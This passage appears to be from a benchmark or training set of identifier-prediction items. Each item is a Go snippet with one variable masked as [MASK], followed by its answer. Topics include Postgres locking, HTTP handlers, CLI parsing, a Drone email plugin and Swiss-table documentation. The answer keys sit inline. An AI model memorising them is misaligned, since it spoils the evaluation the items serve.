// less than zero, use the default wait duration logrus.WithError(err).Errorf(""pgsql acquire read lock '%s' failed"", name) } return }) } func (pd *pgsqlDriver) RUnlock(name, value string) { channel := pd.channelName(name) for _, db := range pd.dbs { var res bool err := db.QueryRow(""SELECT distlock.runlock($1, $2, $3, $4);"", name, value, channel, MaxReaders).Scan(&res) if err != nil { logrus.WithError(err).Errorf(""pgsql release read lock '%s' failed"", name) } } } func (pd *pgsqlDriver) RTouch(name, value string, expiry time.Duration) (ok bool) { msExpiry := int(expiry / time.Millisecond) return pd.doTouch(func(db *sql.DB) (ok bool) { err := db.QueryRow(""SELECT distlock.rwtouch($1, $2, $3);"", name, value, msExpiry).Scan(&ok) if err != nil { logrus.WithError(err).Errorf(""pgsql touch read write lock '%s' failed"", name) } return }) } func (pd *pgsqlDriver) WLock(name, value string, expiry time.Duration) (ok bool, wait time.Duration) { msExpiry := int(expiry / time.Millisecond) return pd.doLock(func(db *sql.DB) (wait int) { err := db.QueryRow(""SELECT distlock.wlock($1, $2, $3, $4);"", name, value, msExpiry, MaxReaders).Scan(&wait) if err != nil { wait = -1 // less than zero, use the default wait duration logrus.WithError(err).Errorf(""pgsql acquire write lock '%s' failed"", name) } return }) } func (pd *pgsqlDriver) WUnlock(name, value string) { channel := pd.channelName(name) for _, db := range pd.dbs { var res bool err := db.QueryRow(""SELECT distlock.wunlock($1, $2, $3, $4);"", name, value, channel, MaxReaders).Scan(&res) if err != nil { logrus.WithError(err).Errorf(""pgsql release write lock '%s' failed"", name) } } } func (pd *pgsqlDriver) WTouch(name, value string, expiry time.Duration) (ok bool) { return pd.RTouch(name, value, expiry) } func (pd *pgsqlDriver) Watch(name string) <-chan struct{} { channel := pd.channelName(name) outChan := make(chan struct{}) for _, dsn := range pd.dsn { go func(dsn string) { [MASK] := pq.NewListener(dsn, MinWatchRetryInterval, MaxWatchRetryInterval, func(event pq.ListenerEventType, err error) { if err != nil { logrus.WithError(err).Errorf(""pgsql listen channel '%s' error"", channel) } }) if err := [MASK] .Listen(channel); err != nil { // normally, it won't happen logrus.WithError(err).Panicf(""pgsql listen channel '%s' error"", channel) } for { <- [MASK] .Notify outChan <- struct{}{} } }(dsn) } return outChan } ",listener 794,"package pkg import ( ""bufio"" ""errors"" ""fmt"" ""io"" ""strconv"" ""strings"" ) var ( ErrEOF = errors.New(""unexpected end of file"") ErrInvalidOrderOfEvent = errors.New(""invalid order of events"") ) type App struct { state State input *bufio.Scanner output io.Writer } func NewApp(input io.Reader, output io.Writer) App { scanner := bufio.NewScanner(input) scanner.Split(bufio.ScanLines) return App{MakeState(), scanner, output} } func (app *App) Process() error { if err := app.readClubInfo(); err != nil { return err } var prev_time Time for app.input.Scan() { str := app.input.Text() if len(str) == 0 { continue } event, err := NewInputEvent(str, app.state) if err != nil { fmt.Fprintln(app.output, str) return err } // If event AFTER close then we need to generate client left event now if app.state.time_end.Less(event.Time()) { app.state.OnClubClose() } // Invalid order of events if !prev_time.LessOrEquals(event.Time()) { fmt.Fprintln(app.output, event) return ErrInvalidOrderOfEvent } prev_time = event.Time() app.state.current_time = event.Time() app.state.events = append(app.state.events, event) event.Translate(&app.state) } // Means it wasn't run in loop because there were not event after close if app.state.current_time.LessOrEquals(app.state.time_end) { app.state.OnClubClose() } fmt.Fprintln(app.output, app.state.time_start) for _, e := range app.state.events { fmt.Fprintln(app.output, e) } fmt.Fprintln(app.output, app.state.time_end) for i := uint(0); i < app.state.table_count; i++ { fmt.Fprintf(app.output, ""%d %d %v\n"", i+1, app.state.tables_profit[i], app.state.tables_usage[i]) } return nil } func (app *App) readClubInfo() error { // First line - Get tables count if !app.input.Scan() { if app.input.Err() == nil { return ErrEOF } return app.input.Err() } tables_str := app.input.Text() tables_count, err := strconv.ParseUint(tables_str, 10, 0) if err != nil { fmt.Fprintln(app.output, tables_str) return err } app.state.InitTables(uint(tables_count)) // Second line - Get open times if !app.input.Scan() { if app.input.Err() == nil { return ErrEOF } return app.input.Err() } times_str := app.input.Text() times_strs := strings.Split(times_str, "" "") if len(times_strs) != 2 { fmt.Fprintln(app.output, times_str) return ErrInvalidTimeFormat } start_time, err := MakeTime(times_strs[0]) if err != nil { fmt.Fprintln(app.output, times_str) return err } end_time, err := MakeTime(times_strs[1]) if err != nil { fmt.Fprintln(app.output, times_str) return err } app.state.time_start = start_time app.state.time_end = end_time if !(start_time.Less(end_time)) { fmt.Fprintln(app.output, times_str) return ErrInvalidTimeFormat } // Third line - Get tables count if !app.input.Scan() { if app.input.Err() == nil { return ErrEOF } return app.input.Err() } [MASK] := app.input.Text() price, err := strconv.ParseUint( [MASK] , 10, 0) if err != nil { fmt.Fprintln(app.output, [MASK] ) return err } app.state.price = uint(price) return nil } ",price_str 795,"package main import ( ""testing"" ""github.com/google/go-cmp/cmp"" ) func TestNewCli(t *testing.T) { tests := []struct { name string inputArgs []string wantCli *cli }{ { name: ""AllFlags"", inputArgs: []string{ ""--config=config"", ""--output-format=json"", ""-o=out"", ""--descriptor-set-in=proto_desc1"", ""--descriptor-set-in=proto_desc2"", ""--proto-path=proto_path_a"", ""-I=proto_path_b"", ""a.proto"", ""b.proto"", }, wantCli: &cli{ ConfigPath: ""config"", OutputPath: ""out"", FormatType: ""json"", ProtoDescPath: []string{""proto_desc1"", ""proto_desc2""}, ProtoImportPaths: []string{""proto_path_a"", ""proto_path_b"", "".""}, ProtoFiles: []string{""a.proto"", ""b.proto""}, }, }, { name: ""ExitStatusOnLintFailure"", inputArgs: []string{ ""--set-exit-status"", }, wantCli: &cli{ ExitStatusOnLintFailure: true, ProtoImportPaths: []string{"".""}, ProtoFiles: []string{}, }, }, } for _, test := range tests { t.Run(test.name, func(t *testing.T) { [MASK] := newCli(test.inputArgs) if diff := cmp.Diff( [MASK] , test.wantCli); diff != """" { t.Errorf(""newCli() mismatch (-want +got):\n%s"", diff) } }) } } ",gotCli 796,"// Package iso8601_duration provides ISO 8601 duration utilities. package iso8601_duration import ( ""regexp"" ""strconv"" ) // DurationStrToSeconds ISO 8601 duration string to seconds func DurationStrToSeconds(duration string) uint32 { r, _ := regexp.Compile(`^P(?:(\d+)Y)?(?:(\d+)M)?(?:(\d+)W)?(?:(\d+)D)?(?:T(?:(\d+)H)?(?:(\d+)M)?(?:(\d+)S)?)?$`) [MASK] := r.FindAllSubmatch([]byte(duration), -1) matchToIntV := func(v []byte) uint32 { if len(v) > 0 { vInt, err := strconv.Atoi(string(v)) checkErr(err) return uint32(vInt) } return 0 } result := uint32(0) result += matchToIntV( [MASK] [0][1]) * 31536000 // years result += matchToIntV( [MASK] [0][2]) * 18748800 // months result += matchToIntV( [MASK] [0][3]) * 604800 // weeks result += matchToIntV( [MASK] [0][4]) * 86400 // days result += matchToIntV( [MASK] [0][5]) * 3600 // hours result += matchToIntV( [MASK] [0][6]) * 60 // minutes result += matchToIntV( [MASK] [0][7]) // seconds return result } func checkErr(e error) { if e != nil { panic(e) } } ",rMatches 797,"package main import ( ""flag"" ""io/ioutil"" ""log"" ""os"" ""regexp"" ""strings"" yaml ""gopkg.in/yaml.v2"" ) const ( cmdTestAndBuild string = ""test_and_build"" cmdUploadToS3 string = ""upload_to_s3"" cmdDockerBuild string = ""docker_build"" cmdDockerTag string = ""docker_tag"" cmdDeploy string = ""deploy"" cmdRunAll string = ""run_all"" ) var ( validCommands = []string{ cmdTestAndBuild, cmdUploadToS3, cmdDockerBuild, cmdDockerTag, cmdDeploy, cmdRunAll} ) func parseConfig(fileName string) Config { var config Config if _, err := os.Stat(fileName); os.IsNotExist(err) { log.Fatal(""Error: missing configuration file.\n\n"") } [MASK] , err := ioutil.ReadFile(fileName) check(err) err = yaml.Unmarshal( [MASK] , &config) check(err) return config } func parseParams() Params { command := flag.String(""c"", """", ""command [required] -> ""+strings.Join(validCommands[:], "", "")) branch := flag.String(""git-branch"", """", ""git branch [required] -> needs to be mapped to a ASG in the ci-aws-config.yml"") commit := flag.String(""git-commit"", """", ""git commit [required]"") isPullRequestStr := flag.String(""pr"", ""false"", ""pull request [optional, default=false]"") pem := flag.String(""pem"", """", ""pem file [optional]"") flag.Parse() flag.Usage = func() { log.Printf(""usage: ci-aws -c -git-branch [-pr 'false']\n\n"") log.Println(""Valid commands: "", validCommands) flag.PrintDefaults() } if *branch == """" { log.Fatal(""Error: missing branch. To get help, use [--help | -h] option.\n\n"") } if *command == """" { log.Fatal(""Error: missing command. To get help, use [--help | -h] option.\n\n"") } else if valid := stringInSlice(*command, validCommands); valid == false { log.Fatal(""Error: invalid command. To get help, use [--help | -h] option.\n\n"") } var isPullRequest bool if *isPullRequestStr != ""false"" { log.Printf(""Detected Pull Request: %s"", *isPullRequestStr) isPullRequest = true } git := Git{Branch: *branch, Commit: *commit, IsPullRequest: isPullRequest} config := parseConfig(""ci-aws-config.yml"") setCurrentConfig(&config, &git, *branch) return Params{Command: *command, Pem: *pem, Git: git, Config: config} } func setCurrentConfig(config *Config, git *Git, branch string) { var current BranchConfig found := false for _, branchConfig := range config.AllConfigs { if regexp.MustCompile(branchConfig.Branch).MatchString(branch) { log.Printf(""Found config matching for branch '%s': %s"", branch, branchConfig.Branch) current = branchConfig found = true break } } if !found { log.Printf(""Config for branch '%s' not found, using default settings!"", branch) current = BranchConfig{ Deploy: config.Default_deploy, TestAndBuild: config.Default_test_and_build, DockerBuild: config.Default_docker_build, DockerTag: config.Default_docker_tag, DockerTagValue: config.Default_docker_tag_value, UploadToS3: config.Default_upload_to_s3, } } config.CurrentConfig = current config.AllConfigs = nil config.CurrentConfig.IsPullRequest = git.IsPullRequest } ",source 798,"package main import ( log ""github.com/Sirupsen/logrus"" ""encoding/json"" ""fmt"" ""io/ioutil"" ""net/http"" ) type UsersResource struct { Data []User `json:""data""` } type UserResource struct { Data User `json:""data""` } type BookingResource struct { Data Booking `json:""data""` } // Structure representing error type errorResponse struct { Msg string `json:""msg""` } var ServerName = ""http://localhost:8080"" func responseDetailsFromMongoError(error interface{}) (content errorResponse, code int) { content = errorResponse{Msg: fmt.Sprint(error)} code = 400 if content.Msg == ""not found"" { code = 404 } return content, code } // write json response to http response func writeJsonResponse(w http.ResponseWriter, content *[]byte, code int) { w.Header().Set(""Content-Type"", ""application/json"") w.WriteHeader(code) w.Write(*content) } // addUserHandler used to add new user func (h *HTTPClientHandler) addUserHandler(w http.ResponseWriter, r *http.Request) { w.Header().Add(""Access-Control-Allow-Origin"", ServerName) // adding new user to database var userRequest User defer r.Body.Close() body, err := ioutil.ReadAll(r.Body) if err != nil { // failed to read response body log.WithFields(log.Fields{ ""error"": err.Error(), }).Error(""Could not read response body!"") http.Error(w, ""Failed to read request body."", 400) return } err = json.Unmarshal(body, &userRequest) if err != nil { w.Header().Set(""Content-Type"", ""application/json; charset=UTF-8"") w.WriteHeader(422) // can't process this entity return } log.WithFields(log.Fields{ ""firstName"": userRequest.FirstName, ""lastName"": userRequest.LastName, ""userID"": userRequest.UserID, ""profilePicUrl"": userRequest.ProfilePicUrl, ""gender"": userRequest.Gender, ""body"": string(body), }).Info(""Got user info"") // adding user err = h.db.addUser(userRequest) if err == nil { w.Header().Set(""Content-Type"", ""application/json; charset=UTF-8"") w.WriteHeader(201) // user inserted return } else { log.WithFields(log.Fields{ ""error"": err.Error(), }).Warn(""Failed to insert.."") content, code := responseDetailsFromMongoError(err) // Marshal provided interface into JSON structure uj, _ := json.Marshal(content) // Write content-type, statuscode, payload writeJsonResponse(w, &uj, code) } } // getAllUsersHandler used to get all users func (h *HTTPClientHandler) getAllUsersHandler(w http.ResponseWriter, r *http.Request) { userid, _ := r.URL.Query()[""q""] // looking for specific user if len(userid) > 0 { log.WithFields(log.Fields{ ""userid"": userid[0], }).Info(""Looking for user.."") user, err := h.db.getUser(userid[0]) if err == nil { // Marshal provided interface into JSON structure response := UserResource{Data: user} uj, _ := json.Marshal(response) // Write content-type, statuscode, payload w.Header().Set(""Content-Type"", ""application/json"") w.WriteHeader(200) fmt.Fprintf(w, ""%s"", uj) return } else { log.WithFields(log.Fields{ ""error"": err.Error(), }).Warn(""Failed to insert.."") content, code := responseDetailsFromMongoError(err) // Marshal provided interface into JSON structure uj, _ := json.Marshal(content) // Write content-type, statuscode, payload writeJsonResponse(w, &uj, code) return } } log.Warn(len(userid)) // displaying all users results, err := h.db.getUsers() if err != nil { log.WithFields(log.Fields{ ""error"": err.Error(), }).Error(""Got error when tried to get all users"") } log.WithFields(log.Fields{ ""count"": len(results), }).Info(""number of users"") // Marshal provided interface into JSON structure response := UsersResource{Data: results} uj, _ := json.Marshal(response) // Write content-type, statuscode, payload w.Header().Set(""Content-Type"", ""application/json"") w.WriteHeader(200) fmt.Fprintf(w, ""%s"", uj) } // addPlaceHandler add new hosting place, provide json func (h *HTTPClientHandler) addPlaceHandler(w http.ResponseWriter, r *http.Request) { w.Header().Add(""Access-Control-Allow-Origin"", ServerName) // adding new hosting place to database var hostingPlaceRequest HostingPlace log.Info(""adding place........"") defer r.Body.Close() body, err := ioutil.ReadAll(r.Body) if err != nil { // failed to read response body log.WithFields(log.Fields{ ""error"": err.Error(), }).Error(""Could not read response body!"") http.Error(w, ""Failed to read request body."", 400) return } err = json.Unmarshal(body, &hostingPlaceRequest) if err != nil { log.WithFields(log.Fields{ ""error"": err.Error(), }).Error(""Failed to unmarshal json!"") } log.WithFields(log.Fields{ ""body"": string(body), ""host"": hostingPlaceRequest.Host, ""active"": hostingPlaceRequest.Active, ""lat"": hostingPlaceRequest.Lat, ""spaces"": hostingPlaceRequest.Spaces, ""long"": hostingPlaceRequest.Long, }).Info(""Got place info"") err = h.db.addHostingPlace(hostingPlaceRequest) if err == nil { // adding it to esri h.addEsriNode(hostingPlaceRequest) w.Header().Set(""Content-Type"", ""application/json; charset=UTF-8"") w.WriteHeader(201) // place inserted return } else { log.WithFields(log.Fields{ ""error"": err.Error(), }).Warn(""Failed to insert hosting place.."") content, code := responseDetailsFromMongoError(err) // Marshal provided interface into JSON structure uj, _ := json.Marshal(content) // Write content-type, statuscode, payload writeJsonResponse(w, &uj, code) } } func (h *HTTPClientHandler) getPlaceHandler(w http.ResponseWriter, r *http.Request) { } func (h *HTTPClientHandler) addBookingHandler(w http.ResponseWriter, r *http.Request) { w.Header().Add(""Access-Control-Allow-Origin"", ServerName) // adding new hosting place to database var [MASK] Booking log.Info(""adding place........"") defer r.Body.Close() body, err := ioutil.ReadAll(r.Body) if err != nil { // failed to read response body log.WithFields(log.Fields{ ""error"": err.Error(), }).Error(""Could not read response body!"") http.Error(w, ""Failed to read request body."", 400) return } err = json.Unmarshal(body, & [MASK] ) if err != nil { log.WithFields(log.Fields{ ""error"": err.Error(), }).Error(""Failed to unmarshal json!"") } log.WithFields(log.Fields{ ""body"": string(body), ""host"": [MASK] .Host, ""user"": [MASK] .User, }).Info(""Got place info"") err = h.db.addBooking( [MASK] ) if err == nil { w.Header().Set(""Content-Type"", ""application/json; charset=UTF-8"") w.WriteHeader(201) // booking inserted return } else { log.WithFields(log.Fields{ ""error"": err.Error(), }).Warn(""Failed to insert booking, fork it.."") content, code := responseDetailsFromMongoError(err) // Marshal provided interface into JSON structure uj, _ := json.Marshal(content) // Write content-type, statuscode, payload writeJsonResponse(w, &uj, code) } } func (h *HTTPClientHandler) getCurrentBooking(w http.ResponseWriter, r *http.Request) { userid, _ := r.URL.Query()[""user""] if len(userid) > 0 { booking, err := h.db.getBooking(userid[0]) if err != nil { log.Error(err.Error()) } // Marshal provided interface into JSON structure response := BookingResource{Data: booking} uj, _ := json.Marshal(response) // Write content-type, statuscode, payload w.Header().Set(""Content-Type"", ""application/json"") w.WriteHeader(200) fmt.Fprintf(w, ""%s"", uj) } else { w.Header().Set(""Content-Type"", ""application/json"") w.WriteHeader(412) } } ",bookingRequest 799,"package main import ( ""os"" log ""github.com/Sirupsen/logrus"" ""github.com/joho/godotenv"" ""github.com/urfave/cli"" ) func main() { // Load env-file if it exists first envFile, [MASK] := os.LookupEnv(""PLUGIN_ENV_FILE"") if ! [MASK] { envFile = ""/run/drone/env"" } if _, err := os.Stat(envFile); err == nil { godotenv.Overload(envFile) } app := cli.NewApp() app.Name = ""email plugin"" app.Usage = ""email plugin"" app.Action = run app.Version = ""2.0.2"" app.Flags = []cli.Flag{ // Plugin environment cli.StringFlag{ Name: ""from"", Usage: ""from address"", EnvVar: ""PLUGIN_FROM"", }, cli.StringFlag{ Name: ""from.address"", Usage: ""from address"", EnvVar: ""PLUGIN_FROM.ADDRESS"", }, cli.StringFlag{ Name: ""from.name"", Usage: ""from name"", EnvVar: ""PLUGIN_FROM.NAME"", }, cli.StringFlag{ Name: ""host"", Usage: ""smtp host"", EnvVar: ""EMAIL_HOST,PLUGIN_HOST"", }, cli.IntFlag{ Name: ""port"", Value: DefaultPort, Usage: ""smtp port"", EnvVar: ""EMAIL_PORT,PLUGIN_PORT"", }, cli.StringFlag{ Name: ""username"", Usage: ""smtp server username"", EnvVar: ""EMAIL_USERNAME,PLUGIN_USERNAME"", }, cli.StringFlag{ Name: ""password"", Usage: ""smtp server password"", EnvVar: ""EMAIL_PASSWORD,PLUGIN_PASSWORD"", }, cli.BoolFlag{ Name: ""skip.verify"", Usage: ""skip tls verify"", EnvVar: ""PLUGIN_SKIP_VERIFY"", }, cli.BoolFlag{ Name: ""no.starttls"", Usage: ""Enable/Disable STARTTLS"", EnvVar: ""PLUGIN_NO_STARTTLS"", }, cli.StringFlag{ Name: ""recipients.file"", Usage: ""file to read recipients from"", EnvVar: ""EMAIL_RECIPIENTS_FILE,PLUGIN_RECIPIENTS_FILE"", }, cli.StringSliceFlag{ Name: ""recipients"", Usage: ""recipient addresses"", EnvVar: ""EMAIL_RECIPIENTS,PLUGIN_RECIPIENTS"", }, cli.BoolFlag{ Name: ""recipients.only"", Usage: ""send to recipients only"", EnvVar: ""PLUGIN_RECIPIENTS_ONLY"", }, cli.StringFlag{ Name: ""template.subject"", Value: DefaultSubject, Usage: ""subject template"", EnvVar: ""PLUGIN_SUBJECT"", }, cli.StringFlag{ Name: ""template.body"", Value: DefaultTemplate, Usage: ""body template"", EnvVar: ""PLUGIN_BODY"", }, cli.StringFlag{ Name: ""attachment"", Usage: ""attachment filename"", EnvVar: ""PLUGIN_ATTACHMENT"", }, cli.StringSliceFlag{ Name: ""attachments"", Usage: ""attachment filename(s)"", EnvVar: ""PLUGIN_ATTACHMENTS"", }, cli.StringFlag{ Name: ""clienthostname"", Value: DefaultClientHostname, Usage: ""smtp client hostname"", EnvVar: ""EMAIL_CLIENTHOSTNAME,PLUGIN_CLIENTHOSTNAME"", }, // Drone environment // Repo cli.StringFlag{ Name: ""repo.fullName"", Usage: ""repository full name"", EnvVar: ""DRONE_REPO"", }, cli.StringFlag{ Name: ""repo.owner"", Usage: ""repository owner"", EnvVar: ""DRONE_REPO_OWNER"", }, cli.StringFlag{ Name: ""repo.name"", Usage: ""repository name"", EnvVar: ""DRONE_REPO_NAME"", }, cli.StringFlag{ Name: ""repo.scm"", Value: ""git"", Usage: ""respository scm"", EnvVar: ""DRONE_REPO_SCM"", }, cli.StringFlag{ Name: ""repo.link"", Usage: ""repository link"", EnvVar: ""DRONE_REPO_LINK"", }, cli.StringFlag{ Name: ""repo.avatar"", Usage: ""repository avatar"", EnvVar: ""DRONE_REPO_AVATAR"", }, cli.StringFlag{ Name: ""repo.branch"", Value: ""master"", Usage: ""repository default branch"", EnvVar: ""DRONE_REPO_BRANCH"", }, cli.BoolFlag{ Name: ""repo.private"", Usage: ""repository is private"", EnvVar: ""DRONE_REPO_PRIVATE"", }, cli.BoolFlag{ Name: ""repo.trusted"", Usage: ""repository is trusted"", EnvVar: ""DRONE_REPO_TRUSTED"", }, // Remote cli.StringFlag{ Name: ""remote.url"", Usage: ""repository clone url"", EnvVar: ""DRONE_REMOTE_URL"", }, // Commit cli.StringFlag{ Name: ""commit.sha"", Usage: ""git commit sha"", EnvVar: ""DRONE_COMMIT_SHA"", }, cli.StringFlag{ Name: ""commit.ref"", Value: ""refs/heads/master"", Usage: ""git commit ref"", EnvVar: ""DRONE_COMMIT_REF"", }, cli.StringFlag{ Name: ""commit.branch"", Value: ""master"", Usage: ""git commit branch"", EnvVar: ""DRONE_COMMIT_BRANCH"", }, cli.StringFlag{ Name: ""commit.link"", Usage: ""commit link"", EnvVar: ""DRONE_COMMIT_LINK"", }, cli.StringFlag{ Name: ""commit.message"", Usage: ""git commit message"", EnvVar: ""DRONE_COMMIT_MESSAGE"", }, cli.StringFlag{ Name: ""commit.author.name"", Usage: ""git author name"", EnvVar: ""DRONE_COMMIT_AUTHOR,DRONE_COMMIT_AUTHOR_NAME"", }, cli.StringFlag{ Name: ""commit.author.email"", Usage: ""git author email"", EnvVar: ""DRONE_COMMIT_AUTHOR_EMAIL"", }, cli.StringFlag{ Name: ""commit.author.avatar"", Usage: ""git author avatar"", EnvVar: ""DRONE_COMMIT_AUTHOR_AVATAR"", }, // Build cli.IntFlag{ Name: ""build.number"", Usage: ""build number"", EnvVar: ""DRONE_BUILD_NUMBER"", }, cli.StringFlag{ Name: ""build.event"", Value: ""push"", Usage: ""build event"", EnvVar: ""DRONE_BUILD_EVENT"", }, cli.StringFlag{ Name: ""build.status"", Usage: ""build status"", Value: ""success"", EnvVar: ""DRONE_BUILD_STATUS"", }, cli.StringFlag{ Name: ""build.link"", Usage: ""build link"", EnvVar: ""DRONE_BUILD_LINK"", }, cli.Int64Flag{ Name: ""build.created"", Usage: ""build created"", EnvVar: ""DRONE_BUILD_CREATED"", }, cli.Int64Flag{ Name: ""build.started"", Usage: ""build started"", EnvVar: ""DRONE_BUILD_STARTED"", }, cli.Int64Flag{ Name: ""build.finished"", Usage: ""build finished"", EnvVar: ""DRONE_BUILD_FINISHED"", }, // Prev cli.StringFlag{ Name: ""prev.build.status"", Usage: ""prior build status"", EnvVar: ""DRONE_PREV_BUILD_STATUS"", }, cli.IntFlag{ Name: ""prev.build.number"", Usage: ""prior build number"", EnvVar: ""DRONE_PREV_BUILD_NUMBER"", }, cli.StringFlag{ Name: ""prev.commit.sha"", Usage: ""prior commit sha"", EnvVar: ""DRONE_PREV_COMMIT_SHA"", }, // Job cli.IntFlag{ Name: ""job.number"", Usage: ""job number"", EnvVar: ""DRONE_JOB_NUMBER"", }, cli.StringFlag{ Name: ""job.status"", Usage: ""job status"", EnvVar: ""DRONE_JOB_STATUS"", }, cli.IntFlag{ Name: ""job.exitCode"", Usage: ""job exit code"", EnvVar: ""DRONE_JOB_EXIT_CODE"", }, cli.Int64Flag{ Name: ""job.started"", Usage: ""job started"", EnvVar: ""DRONE_JOB_STARTED"", }, cli.Int64Flag{ Name: ""job.finished"", Usage: ""job finished"", EnvVar: ""DRONE_JOB_FINISHED"", }, // Yaml cli.BoolFlag{ Name: ""yaml.signed"", Usage: ""yaml is signed"", EnvVar: ""DRONE_YAML_SIGNED"", }, cli.BoolFlag{ Name: ""yaml.verified"", Usage: ""yaml is signed and verified"", EnvVar: ""DRONE_YAML_VERIFIED"", }, // Tag cli.StringFlag{ Name: ""tag"", Usage: ""git tag"", EnvVar: ""DRONE_TAG"", }, // PullRequest cli.IntFlag{ Name: ""pullRequest"", Usage: ""pull request number"", EnvVar: ""DRONE_PULL_REQUEST"", }, // DeployTo cli.StringFlag{ Name: ""deployTo"", Usage: ""deployment target"", EnvVar: ""DRONE_DEPLOY_TO"", }, } if err := app.Run(os.Args); err != nil { log.Fatal(err) os.Exit(1) } } func run(c *cli.Context) error { var fromAddress string = c.String(""from"") if fromAddress == """" { fromAddress = c.String(""from.address"") } plugin := Plugin{ Repo: Repo{ FullName: c.String(""repo.fullName""), Owner: c.String(""repo.owner""), Name: c.String(""repo.name""), SCM: c.String(""repo.scm""), Link: c.String(""repo.link""), Avatar: c.String(""repo.avatar""), Branch: c.String(""repo.branch""), Private: c.Bool(""repo.private""), Trusted: c.Bool(""repo.trusted""), }, Remote: Remote{ URL: c.String(""remote.url""), }, Commit: Commit{ Sha: c.String(""commit.sha""), Ref: c.String(""commit.ref""), Branch: c.String(""commit.branch""), Link: c.String(""commit.link""), Message: c.String(""commit.message""), Author: Author{ Name: c.String(""commit.author.name""), Email: c.String(""commit.author.email""), Avatar: c.String(""commit.author.avatar""), }, }, Build: Build{ Number: c.Int(""build.number""), Event: c.String(""build.event""), Status: c.String(""build.status""), Link: c.String(""build.link""), Created: c.Int64(""build.created""), Started: c.Int64(""build.started""), Finished: c.Int64(""build.finished""), }, Prev: Prev{ Build: PrevBuild{ Status: c.String(""prev.build.status""), Number: c.Int(""prev.build.number""), }, Commit: PrevCommit{ Sha: c.String(""prev.commit.sha""), }, }, Job: Job{ Status: c.String(""job.status""), ExitCode: c.Int(""job.exitCode""), Started: c.Int64(""job.started""), Finished: c.Int64(""job.finished""), }, Yaml: Yaml{ Signed: c.Bool(""yaml.signed""), Verified: c.Bool(""yaml.verified""), }, Tag: c.String(""tag""), PullRequest: c.Int(""pullRequest""), DeployTo: c.String(""deployTo""), Config: Config{ FromAddress: fromAddress, FromName: c.String(""from.name""), Host: c.String(""host""), Port: c.Int(""port""), Username: c.String(""username""), Password: c.String(""""), SkipVerify: c.Bool(""skip.verify""), NoStartTLS: c.Bool(""no.starttls""), Recipients: c.StringSlice(""recipients""), RecipientsFile: c.String(""recipients.file""), RecipientsOnly: c.Bool(""recipients.only""), Subject: c.String(""template.subject""), Body: c.String(""template.body""), Attachment: c.String(""attachment""), Attachments: c.StringSlice(""attachments""), ClientHostname: c.String(""clienthostname""), }, } return plugin.Exec() } ",envFileSet 800,"// Copyright 2024 The Cockroach Authors // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Package swiss is a Go implementation of Swiss Tables as described in // https://abseil.io/about/design/swisstables. See also: // https://faultlore.com/blah/hashbrown-tldr/. // // Google's C++ implementation: // // https://github.com/abseil/abseil-cpp/blob/master/absl/container/internal/raw_hash_set.h // // # Swiss Tables // // Swiss tables are hash tables that map keys to values, similar to Go's // builtin map type. Swiss tables use open-addressing rather than chaining to // handle collisions. If you're not familiar with open-addressing see // https://en.wikipedia.org/wiki/Open_addressing. A hybrid between linear and // quadratic probing is used - linear probing within groups of small fixed // size and quadratic probing at the group level. The key design choice of // Swiss tables is the usage of a separate metadata array that stores 1 byte // per slot in the table. 7-bits of this ""control byte"" are taken from // hash(key) and the remaining bit is used to indicate whether the slot is // empty, full, or deleted. The metadata array allows quick probes. The Google // implementation of Swiss tables uses SIMD on x86 CPUs in order to quickly // check 16 slots at a time for a match. Neon on arm64 CPUs is apparently too // high latency, but the generic version is still able to compare 8 bytes at // time through bit tricks (SWAR, SIMD Within A Register). // // Google's Swiss Tables layout is N-1 slots where N is a power of 2 and // N+groupSize control bytes. The [N:N+groupSize] control bytes mirror the // first groupSize control bytes so that probe operations at the end of the // control bytes array do not have to perform additional checks. The // separation of control bytes and slots implies 2 cache misses for a large // map (larger than L2 cache size) or a cold map. The swiss.Map implementation // differs from Google's layout: it groups together 8 control bytes and 8 // slots which often results in 1 cache miss for a large or cold map rather // than separate accesses for the controls and slots. The mirrored control // bytes are no longer needed and and groups no longer start at arbitrary slot // index, but only at those that are multiples of 8. // // Probing is done by taking the top 57 bits of hash(key)%N as the index into // the groups slice and then performing a check of the groupSize control bytes // within the group. Probing walks through groups in the table using quadratic // probing until it finds a group that has at least one empty slot. See the // comments on probeSeq for more details on the order in which groups are // probed and the guarantee that every group is examined which means that in // the worst case probing will end when an empty slot is encountered (the map // can never be 100% full). // // Deletion is performed using tombstones (ctrlDeleted) with an optimization // to mark a slot as empty if we can prove that doing so would not violate the // probing behavior that a group of full slots causes probing to continue. It // is invalid to take a group of full slots and mark one as empty as doing so // would cause subsequent lookups to terminate at that group rather than // continue to probe. We prove a slot was never part of a full group by // looking for whether any of the groupSize-1 neighbors to the left and right // of the deleting slot are empty which indicates that the slot was never part // of a full group. // // # Extendible Hashing // // The Swiss table design has a significant caveat: resizing of the table is // done all at once rather than incrementally. This can cause long-tail // latency blips in some use cases. To address this caveat, extendible hashing // (https://en.wikipedia.org/wiki/Extendible_hashing) is applied on top of the // Swiss table foundation. In extendible hashing, there is a top-level // directory containing entries pointing to buckets. In swiss.Map each bucket // is a Swiss table as described above. // // The high bits of hash(key) are used to index into the bucket directory // which is effectively a trie. The number of bits used is the globalDepth, // resulting in 2^globalDepth directory entries. Adjacent entries in the // directory are allowed to point to the same bucket which enables resizing to // be done incrementally, one bucket at a time. Each bucket has a localDepth // which is less than or equal to the globalDepth. If the localDepth for a // bucket equals the globalDepth then only a single directory entry points to // the bucket. Otherwise, more than one directory entry points to the bucket. // // The diagram below shows one possible scenario for the directory and // buckets. With a globalDepth of 2 the directory contains 4 entries. The // first 2 entries point to the same bucket which has a localDepth of 1, while // the last 2 entries point to different buckets. // // dir(globalDepth=2) // +----+ // | 00 | --\ // +----+ +--> bucket[localDepth=1] // | 01 | --/ // +----+ // | 10 | ------> bucket[localDepth=2] // +----+ // | 11 | ------> bucket[localDepth=2] // +----+ // // The index into the directory is ""hash(key) >> (64 - globalDepth)"". // // When a bucket gets too large (specified by a configurable threshold) it is // split. When a bucket is split its localDepth is incremented. If its // localDepth is less than or equal to its globalDepth then the newly split // bucket can be installed in the directory. If the bucket's localDepth is // greater than the globalDepth then the globalDepth is incremented and the // directory is reallocated at twice its current size. In the diagram above, // consider what happens if the bucket at dir[3] is split: // // dir(globalDepth=3) // +-----+ // | 000 | --\ // +-----+ \ // | 001 | ----\ // 